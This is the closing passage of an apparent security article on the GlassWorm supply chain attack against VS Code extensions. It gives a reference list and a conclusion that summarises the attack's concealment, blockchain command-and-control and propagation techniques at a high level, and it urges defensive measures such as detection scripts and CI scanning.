- Fluid Attacks Blog - "GlassWorm Supply Chain Attack: Blockchain C2 and Unicode Steganography Deep Dive" (March 2026)
- OWASP - "Software Supply Chain Attack Taxonomy and Mitigation" (2025)
- NIST - "NIST SP 800-218: Secure Software Development Framework (SSDF)" (2024)
- SLSA Framework - "Supply-chain Levels for Software Artifacts" (https://slsa.dev)
- Unicode Consortium - "Unicode Variation Sequences" (https://unicode.org/faq/vs.html)
Conclusion
The GlassWorm attack completely shattered the implicit trust that "development tools are safe". The combination of three innovative techniques - code concealment using Unicode variation selectors, a blockchain-based C2 channel, and a self-propagation mechanism - proved that detection and defense are fundamentally hard with existing security models.
The important point is that GlassWorm is not technically new; it is a creative combination of already known techniques. Unicode steganography, blockchain C2 and worm propagation have each been studied before, but what sets GlassWorm apart is applying them to the comparatively loose security environment of the VS Code extension ecosystem.
Development environment security is no longer optional but mandatory. Apply the detection script, pre-commit hook, CI/CD integrated scan and organizational security checklist presented in this article right away, and plan a longer-term move to a zero trust development environment. Supply chain attacks never stop evolving, and defenses have to keep evolving as well.